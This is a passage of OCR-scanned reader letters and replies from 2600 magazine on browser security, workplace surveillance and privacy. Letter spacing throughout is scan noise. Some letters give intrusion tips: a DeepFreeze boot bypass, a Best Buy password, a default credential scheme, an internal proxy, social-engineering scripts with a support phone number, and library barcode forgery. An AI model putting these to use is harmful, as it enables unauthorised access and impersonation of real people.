The common  six a reas that lead to i n fection  a re b rowser, 
emai l  cli ent, i n stant messagi ng ,  Internet connected 
games,  media p layers, a n d  fi le s ha re progra ms .  You m ust 
understan d  that these a re all vendors, not j ust Mi­
crosoft, a nd  additiona l ly, down loadi ng  and  i n stalli n g  
Fi refox does n o t  make you r  system immune  t o  infecti o n .  
B u t  you  have a n  "im maculate PC" a nd  " u s e  the best prod­
ucts avai lab le" so you a lready knew that. I myself run  a 
site which offers on li n e  security tutori a ls for the home  
u se r  a n d  I have received many i n fections  over the past 1 5  
yea rs. N o  security design wi ll ever be "im maculate" a n d  
whether  y o u  a r e  usi n g  a n  i n -depth m o d e l  or layered de­
sig n  you a re a lways at risk .  Even Li nux and *BSD have 
ho les, exp loits , a n d  the possibi lity of infection .  I remem-
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ber readi n g  years ago the o n ly truly secure computer i s  
bu ried u nderground  i n  ton s  of cement. a nd  then what i s  
the  poi nt of the computer? Fi refox i s  n ice ,  a nd  I 'm su re 
you wea r you r  Mozi lla a n d  pengu in  shi rts at a ll the  meet­
i ngs  (which now you can 't, I g uess, with a d ress code) ,  
h owever it is  n ot ai rtight  a n d  web surfi ng HTM L i s  not  
the o n ly i nfection  portal. Run IE  as  a guest a n d  te l l  me  
how many infections  occur  th rough  IE .  And if people 
wou ld read up on IE ,  they would see al l  the  Microsoft a r­
ticles aski n g  users to adopt the  " least-privi lege" mecha­
nism (even with their  developers codi ng  as  a user) . 
Microsoft is patch mad a n d  a lways has  security issues ,  
true; every system has  these issues.  The problem i s  n ot 
wholly the  system ;  it is i n  the  education  of the  user of 
that system .  U si n g  Microsoft products alone I am sure I 
can create a very secure n etwork,  one  that may even rival  
Li n ux. It  i s  the po li cies ,  restrictions ,  educati o n ,  and d i li­
gence of the user that i n  the end  creates a secure sys­
tem ,  not the p roducts i n stalled .  You cou ld be the  
g reatest hacker, with the  most i m macu late system ever, 
a n d  your little b rother  could use "password" on h is  weak 
admi nister logi n (and you had  to give h im these privi­
leges to run the program s  he uses) a nd  now you have a 
completely i n secure rock. In the end  the a rticle by 
Patrick was intended to educate the people who  a re un ­
aware of the i n fected web we live a nd  p lay i n .  Whether  
you use the  products o r  n ot i s  n ot the  scope of the  a rti­
cle. Rootkits p rotect po lymorphic worms that li nger  i n  
image  bodies a n d  open u p  ou r  kernels a nd  take ho ld .  We 
fight  these o ns laughts by educati on ,  a nd  not o n ly ou r­
se lves but others a round  us .  Most i n fections  occur from 
people trusti n g  a source, a n d  if my mother sends me a 
fi le I j ust may bypass my security i n  a moment of stupid­
ity. Educate my mother and I miti gate that security flaw. 
If your m other knows the risk,  she won 't put you at ri sk .  
In  the  end, the a rti cle was n ot for you,  but was educat­
i n g  others around you which in the end wi ll make every-
one  m ore secure. 

Ryan 

Dear 2600: 
This is in response to M r. Detwei ler's ( 2 2 : 2 )  claims  

that the a rticles i n  2600 a re "sophomoric" a nd  that  Fi re­
fox wi ll end the spywa re problem .  Before you r  letter was 
even pub li shed there have been n u m erous gaping secu­
rity ho les in the Fi refox b rowser and it has a lready be­
com e  a ta rget for spyware writers. As an avid Fi refox fan ,  
I 'm aware what i t  can d o ,  a n d  I a lso realize that a ny se­
curity advantage that it has i s  due to the fact that it's a 
sma ller market share browser that up u nti l the  last n i ne  
months  wasn 't ta rgeted expli citly by  ma lwa re writers. Al­
m ost every security extens ion (adblock, flash  block, No­
scri pt, etc . )  can be dup li cated i n  IE usi n g  trusted zones ,  
h owever the average user i s  too lazy or  doesn 't know how 
to use the features. You r  support for this argument was 
" sophomoric" at best:  Fi refox is more secure beca use D H S  
says it i s .  This i s  techn ica lly n ot the case as th ings sta nd  
today. One  advantage that you shou ld have used  i n  you r  
a llegations  was  t ha t  Fi refox, bei n g  open  source a nd  
mai ntai ned by  a sma ller g roup  o f  developers, c a n  beat 
Redmond 's patch tim e  a ny day of the week. Whi le Mi­
crosoft i s  bogged down i n  what Fortune  500 compan ies 
li ke to call "process," Fi refox developers are more quickly 
givi n g  us the features we want a nd  patchi n g  known ho les 
faster. All browsers a re i n herently i nsecure because 
they're used by people and we're sti l l  waiti n g  o n  a stu-

pidity 1 .0  patch to a rrive. Thi n k  about this before maki n g  
a n  uneducated statement li ke Fi refox will p u t  a n  end  to 
spywa re. 

oieDB 

Dear 2600: 
This letter is written in response to George 's letter i n  

2 2 : 3  about my a rti cle " U n locki n g  the Power of WAP" that 
appeared i n  2 2 : 1  as  well as  on forevergeek .com (with no  
mention  of 2600.) There i s  a story beh ind  th is .  I submit­
ted the  a rti cle to 2600 for pub li cati on  consideration 
q uite some tim e  before the Winter 2004-2005 issue came  
out. My  a rti cle wasn 't pub li shed i n  t h a t  i s s ue  a n d  I n ever 
got an emai l  from 2600 about it, so I assumed it wasn 't 
goi n g  to be pub li shed at a ll. Havi n g  written the  a rticle, I 
submitted it to forevergeek.com as a n  entry i n  a contest. 
(I  fig u red I s hou ld use it for something, since I thought  
it wasn 't goi n g  to appear  i n  the magazi n e . )  That was on  
Apri l  5 ,  2005  - quite some time  after my o rig i na l  submis­
sion to 2600. Exactly one month  and one day after that. 
2 2 : 1  ar rived in the mail, and sure enough ,  my a rticle ap­
peared in it. Truthfu lly, the a rti cle did appear  on  that 
website before it a ppea red i n  2600 (I know this i s  against 
2600's poli cies and I apo logize ) ,  but o n ly because I fig­
u red 2600 wasn 't goi n g  to print my a rticle (I hadn 't 
h ea rd from them ) .  This problem is a lso  exp lai ned  on my 
website (j ust Google the a rticle's n ame ,  I 'm sure you' l l  
fi n d  it) . " U n locki ng  the Power of WAP" was the fi rst a rti­
cle I ever submitted to a pri nted magazi n e  a n d  I fig u red 
2600 would contact me and let me  know if it was goi n g  
t o  be pub li shed but, as  p revious ly stated ,  I n ever go t  a n  
email .  Maybe 2600 did s e n d  me  a n  emai l a n d  it was 
somehow n ever delivered.  For everyone's future refer­
ence,  do you contact writers if their  submitted a rticle(s) 
wi ll o r  wi ll n ot be  pub lished? If so,  how lon g  does it typ­
ically take for this contact to happen once an a rti cle is 
submitted? 

Josh D. 
You should always receive a verification when you 

send us email a t articles@2600. com. It can take any­
where from a few minutes to a couple of hours to arrive 
and you won 't get one if you've already sent mail there 
recently. That is the only mail you will get from us unless 
your article is printed in which case you will get confir­
mation of this. That confirmation usually comes once the 
issue is actually out. We don 't send rejection letters as we 
find that traumatizes people and we're blamed for 
enough as it is. In general, you should wait two issues af­
ter submitting to us before you submit it elsewhere or 
post it on the net. As you can see, our readers will find 
out if you don 't. 

Dear 2600: 
This is in response to the response to the DeepFreeze 

a rticle. Someone wrote an a rticle about how DeepFreeze 
ca n be bypassed by booti n g  with a Wi n9x startup disk.  
pyroburner69 wrote i n  issue 22:3 that a fix would be to 
have the machi n e  boot to the ha rd drive fi rst. then pass­
word protect the BIOS. 

Unfortunately, that's not a good enough  fix. Repeat­
edly hitti n g  ESC, Fll, o r  some other  functi on  key whi le 
the  system is booti n g  wi ll bri n g  up a boot menu  where 
you can select the  drive you wis h  to boot from .  This i s  
usefu l if you want to boot  from a floppy ra rely a nd  don 't 
want to wait for the floppy seek every ti me  you boot the 
system .  BIOS passwords do  n ot disab le the  "boot to 
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d rive : "  menu ,  so DeepFreeze is sti ll bypassable.  
Of course, the  rea l so lution  i s  to stop usi n g  remov­

able drives on the affected computers enti rely. A centra l 
(observed) computer could have removable d rives where 
clients can save and restore work from removab le media,  
and  the rest of the workstations  could be free of al l  ki nds  
of removable media .  

Then someone comes i n  with a USB  stick  with Damn 
Sma ll Li nux  . . . .  

ManiacDan 

The Corporate World 
Dear 2600: 

I am in an i nteresti n g  positi on .  I am cu rrently an em­
p loyee of a McDona ld 's ,  the on ly job I could get i n  the 
a rea at 17. I used to be a computer repair tech with a 
company i n  my hometown and  I've been hacki n g  my com­
puters, commercia l  radios, and vi ntage cell p hones for 
yea rs . In a few days at 10 pm ,  the McDona ld ' s  restaurant 
where I a m  employed wi ll be s hut down for system up­
grades u nti l a round  5 am. All computer systems ,  routers, 
network switches ,  point-of-sale equipment, modems,  
U PS systems ,  p ri nters, and  racks wi ll be pu lled out and 
replaced with new equipment as  the McDona ld 's  Operat­
i ng  Corporation  sees fit. I a lready have an ag reement 
with the store manager and a representative of McOpCo 
a llowi ng  me  to co llect a ny equipment  I feel I ca n use or  
resell. 

If you 've never been a n  employee of McDona ld 's  you 
would be s hocked at how the management treats the em­
ployees and the things that go on  behi nd  the scenes. 
Employees a re m onitored 24/7 with cameras and micro­
phones .  (I 'm not i magin ing this .  Electret condenser mi­
crophones dang le from the cei li n g  pa ne ls and I have 
a lready written cha pters of i nfo rmation  on  the secu rity 
system . )  Add to that the McPropaganda posters every­
where in the bowels of the restau ra nt, the overall O r­
welli a n  feel to everythi ng ,  and  you can probably see 
where I 'm goi n g  with a ll this .  

I 'm goi n g  to be bri ng i ng  home thousands  of do lla rs' 
worth of computers loaded with propri etary software. I 'd 
just li ke to get a sense of the i nterest i n  a n  arti cle expos­
ing the enti re system .  I've a lready done  a write-up on  the 
Internet-accessi b le survei lla nce setup that the store 
managers use to watch us  from home .  

To keep  a ll of  th i s  o n  the lega l  s i de ,  after the a rti cle 
i s  written some of the ha rd drives wi ll be fo rmatted and  
most of the  formatted equipment  will be sold on  eBay, 
m inus  what I want to keep. Bei ng  an amateur radio oper­
ator, I have a hobby that takes a lot of money. If I get 
fi red fo r this, I rea lly don 't ca re. U n li ke my sad little 
ma nagers ,  I'm actua lly going to college .  

Jon 
Our interest in  an article like this is  of such a magni­

tude tha t we doubt expressing it in words wouLd ade­
qua teLy con vey our enthusiasm. We will be waiting by the 
ma iLbox. (We also took the liberty of removing your Last 
name, ca ll sign, and location from your Letter as that 
most certainLy wouLd have gotten you fired. This is  one of 
those rare occasions where we've chosen to err on the 
side of caution.) 

Dear 2600: 
I work at IBM and  we have had o u r  web activity mon­

itored fo r as long as  I can remember. 

I was a lerted this morn ing  at work by a coworker that 
the Fi refox and Mozi lla b rowsers (which a lso means 
Netscape V7. * and VB) support a b rowser prefetch capa­
bi lity (down loadi n g  and cach ing  web pages that you may 
want to see) that i s  turned o n  by defau lt. 

Also some search engi n es (Google) use this capabi l­
ity to down load pages di rectly i nto your web cache  as  
pa rt of the resu lts of a searc h .  The upside to this i s  that 
if you do  want to loo k  at a li n k  from a sea rc h ,  it wi ll s how 
up i n  your  b rowser faster. The downside is that if the  
search eng ine  comes  up  with "questionab le" web  pages 
as  a resu lt of a search ,  these can be downloaded to your 
cache without you r  knowledge and to a nyone monitori n g  
web activity, i t  looks li ke you went t o  t h e  "questionable" 
web page even though  you did n 't. 

The o n ly way to toggle this capability i s  by typi n g  the 
fo llowi ng  i nto the URL bar: 

about:config 
There a re an amazi n g  n umber of variab les/attri butes 

you can hack here ,  but the one we're interested in at the 
m oment is n etwork .prefetch-next. 

If IBM  i s  a nyth i ng  li ke ALCOA, where the o n ly people 
I've heard of getti ng  fired for porn were spending 70 per­
cent of their work day visiti ng  porn sites on company 
computers fo r th ree weeks straight  after repeated warn­
i n gs ,  then this situation  might n ot be that big of a deal .  
But then agai n ,  do you rea lly want to give ammo to a 
group of people whose job literally depends on monitor­
ing tools that "catch"  people i n  the act of goofi n g  off? 

Golden Helix 

Dear 2600: 
I 'm just writi n g  this as a little add-on/update to a ll 

the recent Best Buy a rti cles/letters. As an employee who  
has been  with Best  Buy Ca nada fo r some ti me ,  I have  no­
ti ced that a lot  of secu rity changes have been made im­
mediately fo llowi ng informati on  bei n g  p rinted i n  2600, 
so don 't expect most of this i nfo rmation  to be valid more 
than a day after readi n g .  All the softwa re that runs on  
the demo computers was changed to  now requi re a pass­
word when loggi ng off. Si mp ly hit ctrl-q to get to the exit 
prompt and enter the password "closedown" (no quotes ) .  
I have a lso n oticed a h uge oversight  i n  secu rity of per­
sona l  i nformation  lately in Best Buy. After the 2600 a rti­
cles I did a little snoopi n g  to see what i nformation  is 
ava i lab le to average joe employee. It turns out there 's a 
lot. Fi rst I found  a few Excel spreadsheets, u np rotected, 
with usernames and passwords li sted in them .  I a lso no­
ti ced that 99 percent of these were fi rst initi a l  (i . e . ,  j ) ,  
last name ( i . e . ,  smith)  with the password havi n g  t h e  
nu mber  one  fo llowi ng .  F o r  examp le, J o h n  Smith would 
use the user/pass combo jsmith/jsmith l .  The employee 
is then asked, but not required, to change to a fai rly se­
cure passwo rd afterwards (upper/lower/number combo) .  
Unde r  someone  else's name ( in case a nyone decided to  
check  later) I d id some fu rther snoopi n g .  Tu rns out Best 
Buy's idea of security i s  putti ng  a password onto a n  Excel 
sh eet, which I 'm su re could be b rute fo rced quite easi ly. 
The titles of such Excel spreadsheets led me to believe 
they contai ned payroll i nfo r mation ,  profit a nd  loss 
statements, and company goa ls and objectives. Who 
knows how much  actua l  persona l  i nformati on  there is .  
There a re gigs of archived text al l  o n  thei r  pub li c  d rive i n  
MS  Word and  MS  Excel formats, a l l  i n  a poo rly organized 
fo lder  hiera rchy. Even better  than this i s  the fact that a ll 
computers (except the ones they're actua lly selli ng )  o n  
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the  floor  have been activated for "store rea lization "  (the 
store gets credit for items bought at bestbuy.ca i n  store) 
but there's a little button  on  the top that i s  cleverly la­
be led as  "employees" givi n g  you access to reta i lzone (the 
company i ntranet) .  To b rowse a ll these i nteresti n g  fi les 
si mp ly click the "desktop" button to b ri n g  up a li st of 
apps the employee has access to (at mini m u m ,  al l  em­
p loyees have Word and Excel usage) .  If needed,  the p roxy 
for Canadian stores is "fsp roxyJutu reshop .com:8080". 
For you soci a l  engineeri n g  speci a lists out there ,  I 'm sim­
p ly appa lled by what passes fo r secu rity to gain p hysica l 
access to a nythi ng  i n  the sto re. Feel li ke messi n g  with 
the server room?  Call any ra ndom employee,  say you ' re 
from "CHQ" (Canadian Headquarters ) ,  a nd  you need them 
to go  i nto the server room and  give you the IP of the 
server i n  there ,  o r  rewi re the Cisco router they have ,  o r  
reset the password on  the  VNC server i n  the server room 
(I have not yet had  enough  access to say what this com­
puter a ctua lly does,  o n ly that it is  con nected to ou r  in­
terna l  n etwork a nd  runs  a VNC server ) .  Even better, give 
a call to the Enterprise Support Center ( ESC) at (604) 
412-1231 .  Be forewa rned ,  they' ll ask for a n  emp loyee 
name  and  n umber  (buy somethi n g  a nd  the n umber  wi ll 
be a fou r  digit a lpha n u meric beside the contract ID  at 
the top of the recei pt) and if you can 't get the name of 
the cashier  cash ing  you out socia l  engi nee ri ng  is not for 
you .  Not the worst secu rity I've seen ,  but defi nitely a n  
abu se  o f  secu rity through obscu rity. 

Anonymous 

Dear 2600: 
1 recently bought an item at Wa l-Ma rt in a nother  

state a nd  decided 1 no  lo nger  wanted it .  So 1 retu rned it 
at our loca l Wa l-Ma rt (as they nicely a llow us to do). The 
catc h ,  however, i s  that the tax rates differed between 
the states by 2 . 5  percent. When 1 pu rchased the item ,  I 
paid roug h ly $63 with 6 percent tax. When I retu rned it, 
they ca lcu lated the p rice with the loca l tax i n formation  
(8 .5  percent) a nd  gave me  back  roug h ly $65 .  I 'm not su re 
if anyone else had this happen to them,  but I found  it 
a musi n g .  

NetSurf 

Dear 2600: 
I have j ust left my job at Ba rnes a nd  Noble a nd  would 

li ke to com m ent on the issue a round  display of 2600 
there. 

Du ri ng  the fou r  years I worked as  a bookseller a nd  
cashier I occasiona lly s aw  2600 covered up  behi nd  other 
magazines .  This was a lways i n  the front row where we 
displayed 2600 as a sma ll fo rmat mag .  There has never 
been a policy to hide or  not stock o r  display 2600, but it 
seems that th rough  carelessness some customers have 
covered it up. It is  possible that some customers did this 
deliberately, but I assure the reader  that B&N poli cy is to 
sell, sell, sell. If they did n 't want to sell a ny mag for a ny 
reason ,  they would not carry it at a ll, and  free up over­
crowded she lf space. 

I left B&N because I did n 't li ke the new ma nagement 
so I 'm not pa rticula rly sympathetic to them,  but I see a 
lot of paranoia rega rdi ng  this a nd  j ust want to set it 
straig ht. 

John YaYa 
Thanks for the perspective. We never bought into any 

theory that such things represented corporate or store 
policy. But the fact remains that we do have a lot of ene-

mies, some in high places, some in very low places. We 
appredate all  of our readers being vigilant  on such mat­
ters and helping to correct any injustices they may come 
upon. 

Dear 2600: 
I work for a very la rge telecom whose n ame  I won't 

divulge for obvious  pu rposes. It a ll bega n with the imp le­
mentation  of cameras i n  our workspace, then with the 
imp lementation  of "vericept," and now the p roverbia l  
straw. I work  as  a network secu rity a n a lyst monitori n g  
several  la rge networks investigati ng  possi b le compro­
mises and i n fections .  We all know how the pay n ever fits 
the job .  So they have hi red a lot of people I would n 't 
have watch ing  over a TI ca lcu lator. I get frustrated be­
cause nobody has a clue about signatu res o r  even hacker 
methodology o r  can even fathom the m indset. So I de­
cided to be  a nice guy and put up  a bu lleti n board on  my 
machi ne  at home  rega rdi ng  security, exploits, n ew code, 
and severa l  other general  catego ries .  Well, the "telecom "  
caught  wi nd  o f  this a nd  tried t o  force m e  t o  s hut it down 
sayi n g  it was a b reach of company poli cy because of the 
fact I have a secu rity bu lleti n board and it perta ins  to my 
position  because I work i n  secu rity. They even went to 
the extrem e  of sayi n g  if a nyone from work posted on it, I 
would be the one  payi ng  the u ltimate p rice.  A little back­
ground i n formati on on  me  and why they feel th reatened .  
I have been worki ng  with exp loit code si nce I was  about  
1 5  a nd  spent  some ti me  as a contractor fo r the 000  
worki n g  as  a secu rity eng inee r  a nd  even spent  some ti me  
i n  the mi litary a s  a cryptologist. So every m ove I make 
they watch me .  Where does it say in the Constitution  that 
you give up  you r  rig hts when you walk i nto a p lace of em­
ployment? I have sought employment elsewhere and 
want everyone  to know telecoms ,  es pecia lly the large 
and seemi ng ly powerfu l  ones, have no  idea what they a re 
doi n g .  

sting3r, C E H  
This kind of thing is unfortunately spreading. There 

are many corporations and institutions that think they 
can control their employees 24 hours a day. Worse, there 
are so many people who just blindly buy into this, espe­
dally if the paycheck is large enough. We need more peo­
ple like you to keep this from becoming the norm. 

Evil Doings 
Dea r 2600: 

So this is my first yea r of college a nd  my pa rticu la r  
college (a somewhat small and  somewhat rural  p rivate 
university) requi res me  to take a su rvey. The h eadi ng  of 
the su rvey i s  as  fo llows: "This short easy, confidential ,  
a nd  anonymous [ my emphasis] su rvey will accu rately tell 
us the average emoti ona l, social ,  and spi ritua l  hea lth of 
our student body." 

As I read on , it asked for my name, age ,  majo r, yea r 
of g rad uation ,  hous ing status, and  of al l  th ings  the last 
five digits of my SSN .  Come on . . .  yea h ,  this is  an anony­
mous su rvey my ass . . . .  After refusi ng  to complete por­
ti ons  of said su rvey (portions  i n cludi n g  questions  li ke: 
"True or  fa lse - hacki n g  i s  a crime , "  " Have you engaged in 
sexua l i ntercou rse i n  the past yea r?" etc . ) ,  I was g reeted 
at my dorm room door  by the Dean of Students a nd  my 
RA. Long story s ho rt they were ( not open ly) th reateni ng  
me with expu lsi o n .  Major  WTF moment. I decided to  com­
p lete the su rvey and j ust go along with it but I was sure 
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to tell a nyone who wou ld listen how mis labeled this test 
was. It did n ot in any vis ible way a ccomp li sh  its goal  of 
determi n ing  my soci a l, spiritual, o r  emotiona l  hea lth a n d  
i n  n o  way w a s  i t  a nonymous .  I want t o  encourage every­
one  to read the i ntroduction ,  requirements, a n d/or 
agreements to a college before ever goi n g  there. 

Toast-sarna 
Don 't be shy about revealing the name of the school. 

You can also get an extra copy of  the survey (somehow) 
and send one of those in. Nothing deflates this kind of 
bullshit quicker than a little pUblicity. Hang in there. 

Dear 2600: 
I thought you g uys might be i nterested in a reminder  

that September  24th sta rted Banned Books Week ,  my fa­
vorite ho liday a n d  a celebration of the right  to read de­
spite the best efforts of sma ll m inded zea lots 
everywhere.  It's conti n ua lly amazi n g  to me that so many 
people would work so ha rd to suppress, repress, a n d  op­
press a nyth i n g  that th reatens  their safe little cocoon of 
"decency" and political correctness rather  than da re to 
expose their  ch i ld ren  to different o r  u no rthodox ideas 
which might spark a debate. 

Check out the Top 100 Most Frequently Cha llenged 
Books of 1990 - 2000 (from http://www.a la .o rg ) :  

This endangered species list i ncludes classic litera­
ture such a s  The Adventures of Huckleberry Finn (#5) , 
Catcher in the Rye (#13) ,  a n d  To Kill a Mockingbird 
(#41 ) .  Worse yet, it is  peppered with perfectly i n nocent 
children's books li ke the Harry Potter series (#7) a n d  
Where's Waldo? (#88) which I don 't be li eve even has  a ny 
words. And  no list of dangerous books would be com­
plete without The Anarchist's Cookbook (#57 ) !  

Whether  it's d u ri n g  or  after Ban n ed Books Week, 
p lease remember to celebrate the g lo rious  rig ht to read 
books that cha llenge the estab li shed norm ,  shake u p  
stereotypes, a n d  present o ld situations from new points 
of view. 

"Books  won 't stay banned .  They won 't bu rn .  Ideas 
won 't go  to jai l .  In  the lon g  run  of h istory the censor a n d  
t h e  i n quisitor h ave a lways lost. The o n ly su re weapon  
agai n st bad ideas i s  better i deas . "  - Alfred Whitney G ris­
wold (Ya le President 1951-1963 )  

Information  i s  sti ll free .  Read  a banned book - or  
better yet write one !  

Selena 

Dear 2600: 
Two days ago I was sitti ng  in my Atlanta-a rea h igh  

school's  computer l ab  a n d  decided to  check  the news at  
2600. To  my dismay, it was b locked by the school's  ad­
ministrator. However, what  rea lly i rked me  was the fact 
that it was labeled under  the category "Crim ina l  Skills . "  I 
was m ost d efi nitely n ot expecti n g  this level of i gno ra n ce 
from the school .  but I guess in today's society that was a 
little stupid of me .  

Ben 
Schools are where ignorance is taught and rein­

forced. What were you thinking? For that matter, why 
were you thinking? 

Dear 2600: 
I will try to be b ri ef. I bought some beer over the 

weeken d  at Western Michiga n Un iversity at a store ca lled 
Munch ie  Mart. They asked to see some ID and I s howed 
them . After givi n g  them my identification  they then 

swi ped it through  a mag strip reader that had  a bui lt i n  
pri nter a n d  tape roll ( looked li ke a pri nti n g  ca lcu lator ) .  I 
n oticed it p ri nted my name ,  age,  a n d  d river's li cense 
n u mber. After n otici n g  this I asked the lady to hand me 
the copy of my persona l  i nformation  so I cou ld di sca rd it .  
She refused and told me  s he  had  to record it for the city 
police in case they sell to m inors .  I was outraged! I 
sta rted to argue some m ore a n d  then was told "if you 
have a problem with it, then don 't shop here . "  I told her 
I wouldn 't a s  I was o n ly visiti n g  a fri end  at the u niversity 
a nyhow. I was wonderi n g  if a nyone knows the lega lities 
with this .  I know it 's o n ly m inima l  i nformation  but that's 
not the  point at a ll. I a m  a lso  consideri n g  writi n g  to the 
Kala mazoo poli ce i n q ui ri n g  if they enforce the unautho­
rized recordi n g  of persona l  i nformati o n .  I wonder how 
many identities they gather  a day and  how many a ctual ly 
know the store does this .  Please h elp me with some ad-
vice. 

Bug Dave 
We've followed up with this story on "Off The Hook" 

and got a good amount of interest from listeners. As it 
turns out, the local police claimed not to know anything 
about this and the ensuing fuss apparently resulted in 
the policy being quietly discontinued. In all likelihood 
this was something the store was doing on its own. By 
publicly challenging it and getting people to be aware, 
you helped the store realize that it wasn't in their best 
interests to continue with such an invasive policy. Indi­
viduals have a lot more power than they realize. 

Dear 2600: 
The other  day, for the fun of it, I thought that I 

would see if the fu ll version  of Delta Force - Black Hawk 
Down was avai lable for download on Lim ewi re (a  P2P  fi le 
sha ri n g  p rogram on G n utella ) .  When I typed "De lta 
Force" in the "p rograms" search wi ndow a n d  clicked "sub­
mit" h u nd reds of fi les popped up  claim ing  to be "De lta 
Force Full Game"  but were o n ly 851 .7kb in size (obvious ly 
too smal l  to be the a ctua l  progra m ) .  These fi les were a ll 
unifo rmly the exact same size a lthough  they were al l  be­
ing " shared" by severa l different users. When I typed i n  
"Gra n d  Theft Auto" t h e  exact s a m e  thi n g  happened .  Sev­
era l fi les claim ing  to be "Gra n d  Theft Auto" were a lso 
851.  7kb  i n  size a nd  from m u lti p le users as  well .  It ap­
pears to be a n  attack on P2P  fi le s ha ri n g  i n  genera l, but 
surp ri si n g ly, several people seem to be "i n on  it ." As we 
a ll know, 851 .7kb is defi nitely m ore than big enough  to 
be a trojan  ho rse, vi rus, o r  worm .  Does anyone  know 
what this fi le is  o r  who i s  responsible for this? 

Sab 

Dear 2600: 
Lon g  tim e  reader  of the mag ,  but it's the fi rst tim e  

I've written anyth ing  t o  y o u .  I ' l l get stra ight t o  t h e  point. 
There i s  a new bill that has  been proposed/put forward 
that is qu iet sca ry. The bi ll wi ll requ i re that Canadian 
ISPs i n stall monitori ng  software. It  a lso gives the gov­
ern ment access to the data that a m onitori n g  system 
would produce without havi n g  to get a wa rra nt. This i s  a n  
i ncredib le i nvasi on  o f  people's p rivacy. There a re m uch 
better ways to police the pub li c  than creati n g  Big 
B rother  type laws.  I just thought that it was important to 
get the word out about this silly bi l l .  I have posted o n  a 
few m essage forums out there, but I thought that 2600 
might help to help get the word out. A copy of the bill 
ca n be found  at: http://www.parl .gc .ca/PDF/38/1/parl 
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-bus/chambus/house/bi lls/govern mentfC-74_1 . PDF  
if you'd li ke to take a gander. Keep fighti n g  the good 

fig ht. 
Pizentios 

While we spend a good amount of time talking about 
what's going on in the United States, it needs to be made 
clear that it's getting bad all over the world. Many times 
our government starts the ball rolling over here and 
other countries follow suit. But sometimes a new law or 
restriction starts out someplace else and winds up later 
being implemented here. Wherever you happen to be, 
public reaction is essential to influendng the success or 
failure of such bills and laws. If you can succeed in mak­
ing a difference, you may also be making a difference in 
other parts of the world. 

Homeland Security 
Dear 2600: 

Rega rdi ng  Joe37 's  letter in 2 2 : 2  i nvoki n g  the classic 
Godwi n 's Law rega rdi n g  encouragi ng  everyone  to refer to 
the Department of Homelan d  Secu rity as  the Gestapo,  I 
fin d  it very sad that more a nd  more people seem to do  
this .  I work  for pa rt of D H S  invo lved n ot o n ly i n  nationa l  
secu rity but  a lso huma nitarian  efforts - the U . S .  Coast 
Guard .  Although  my pa rticu la r  job now deals with work­
ing with severa l th ree letter organizations ,  at hea rt m ost 
of my career has been worki n g  with life savi n g .  

Anyway, pa rt o f  my cu rrent position  i nvolves wea ri n g  
organizationa l  cloth ing beari n g  the D H S  logo i n  pub lic  
a n d  I am  not ashamed to do  this even on  my off ti me .  
Constantly I am  confronted by i n dividua ls such as  Joe37 
who feel the need to berate me  and  call me  a Nazi based 
on  the  fact that my cloth ing  bears this particu la r  logo .  
How many hackers c an  say they've been confronted for 
thei r  image o n ly a nd  not the message they a re tryi ng  to 
give? I thi n k  more than a few. 

The point is, just because you have some sort of 
para noid fea r ( a lthough  you may fi n d  it logica l) , don 't 
fee l  the need to discredit the name  of the group and  its 
enti re system ,  especia lly by maki ng  such absurd a nd  of­
fensive references. 

Tha n ks for your  magazi ne .  I 've been readi n g  it for a l­
most ten years a nd  a lthough  I roll my eyes at some of the 
a rticles on  "messi n g  with x store , "  the tech related stuff 
has rea lly he lped educate me  on a n u m ber of th ings ,  
even some related to my job .  

necco 
While Nazi analogies are unneeded and way off base, 

there is a significant degree of absurdity to the entire 
"homeland security" mentality that has emerged in re­
cent years. Apart from the dvil rights abuses, secret pris­
ons, torture, and invasions that have been carried out in 
its name, the entire concept is covered in simplidty and 
naive assertions that could fill a book. There are many 
good people working under the DHS umbrella but that 
doesn 't alter the fact that many see Homeland Security 
as an overzealous organization determined to achieve its 
goals without giving much thought to the true cost of 
these goals. This is where the increasing negative reac­
tion is coming from. We can only hope that those who 
feel this way will express themselves as coherently, intel­
ligently, and passionately as possible. Their input is 
sorely needed. 

Permissions 
Dear 2600: 

I would li ke to get permission  to s how The Fifth H O PE 
videos at a Li nux  user g roup  meeti n g .  There a re about 20 
atten dees on  a good month .  

Elegin 
You 're more than welcome to do this. We've had some 

people even manage to get a few of these onto public ac­
cess channels on cable television. We're glad to see 
there's still an interest in talks and panels that took 
place at  this and other conferences we've hosted. It's 
a lso great for those people who weren't able to make it in 
person. 

Dear 2600: 
I 'm in a com m u nity college web progra m mi n g  class 

and we're worki n g  with javascript at the moment. Would 
you m ind  if I copy Edward Stoever's a rti cle " Hacki n g  En­
crypted HTM L" from 22 :2  for distributio n  to my less  en­
lightened classmates? 

Tha n ks fo r your considerati on .  
Uncle Wulf 

We encourage this kind of thing as long as you 're not 
selling it and you give attribution. 

Insecurity 
Dear 2600: 

I used to subscribe back in 96/97. A car forum I 'm a 
user on got hacked the other night .  The hacker n oticed 
an exploit because something wasn't m oved out of a cer­
tain fo lder. The hacker made a backup of the forum and  
pu t  it i n  a n  easy to fi n d  fo lder on  the server a n d  then 
deleted the normal fo rum .  I 'd j ust li ke to say tha n ks to 
G I RD4P for maki n g  us  aware of the problem .  

Gavin 
We're glad you were able to deal with this maturely 

and non-hysterica lly. If only this were the rule and not 
the exception. 

Dear 2600: 
I di scovered about a year ago that Northwestern Uni­

versity has  automated book checkout stations  on  many 
of their floors. You can sca n the barcode on your li brary 
ca rd , the "WildCard" ( university ID card) usua lly, enter 
your last name i nto the computer, and then scan the bar­
codes on each of the books you want to check out. For 
each book you check out, it p ri nts a recei pt that goes in 
the checkout s li p  s lot i n  the back of the book. Interest­
i n g ly, this recei pt contai ns  both the full n ame  and  the 
ful l  barcode n u m ber of the patron who checked out that 
book.  

I happened to fi n d  a coup le of books i n  the  li brary 
that sti ll had these recei pts in them from the last person 
who borrowed the books and, lo and behold ,  I had a ll the 
i n formation  needed to check out books i n  thei r  names.  
Even if you weren 't ab le to enter i n  the barcode n u m ber 
manua lly, it's easy enough  to fi nd  software o n  the Inter­
net to make barcodes from numbers. Through  some tria l  
a nd  error, I found  that N U  uses  Code 39 symbology. 
There's a nice free barcode generator at this site: 
http ://www. ba rcodesi nc .com/generato r/i ndex . p hp .  

I t  would be easy enough  to  make one  o f  these bar­
codes, pri nt  it out, a nd  paste it to an ID card to a llay sus­
picions  at the termina l .  I a lso have to wonder how secure 
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their trash  m ethods a re .  You cou ld easi ly get the trash  
can fu l l  of book recei pts from one  of the  sleepy college 
kids worki n g  at the ci rculation  desk, h a rvest account 
i nfo , make fa ke cards ,  a nd  congratu late the other  sleepy 
coed at the  li brary exit who does check that there's a s li p  
